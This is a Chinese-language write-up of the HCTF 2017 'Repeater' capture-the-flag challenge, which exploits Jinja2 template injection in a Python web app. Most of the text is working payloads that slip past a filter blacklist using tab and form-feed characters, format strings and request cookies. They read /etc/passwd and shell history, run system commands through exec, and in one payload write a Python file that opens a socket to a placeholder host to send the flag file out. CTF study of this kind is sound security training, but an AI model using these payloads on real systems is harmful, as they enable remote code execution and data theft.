Repeater

点击此处获得更好的阅读体验


WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

解题思路

题目是根据原文魔改的

打开题目F12发现server为Server: Werkzeug/0.12.2 Python/2.7.12

然后发现输入x就返回x was not found.

差不多可以想到jinja模板注入问题,测试 secret={\{2-1}}

返回1 was not found.即可验证

由于也是黑名单过滤,绕过方式看师傅们的姿势

request.args过滤了 空格(%20),回车(%0a),'__','[',']','os','"',"|[a-z]"

直接构造是可以bypass的

空格可以用tab(%09)绕过,|后不允许接a-z可以用%0c,tab等绕过,

os可以通过python中exec绕过

但是这题过滤仅限于request.args但是不允许post

简单的办法是可以用request.cookies来绕过

只能读文件的方法要找flag

首先需要先到/etc/passwd看到有hctf用户

然后读取/home/hctf/.bash_history,发现flag路径/h3h3_1s_your_flag/flag,在读取flag

随便列几种解题方法

1.不用blask_list里的符号

1
secret={\%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{\{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{\{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&a=_&payload=import%0csocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx.xxx.xxx.xxx',2333));s.send(open('/h3h3_1s_your_flag/flag').read());

2.exec构造绕过'os'执行os系统命令

1
a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a)

3.通过request.cookies

1
2
Url: http://repeater.2017.hctf.io/?secret={\{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}}
Cookie: file=/h3h3_1s_your_flag/flag;class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=read;

Flag

1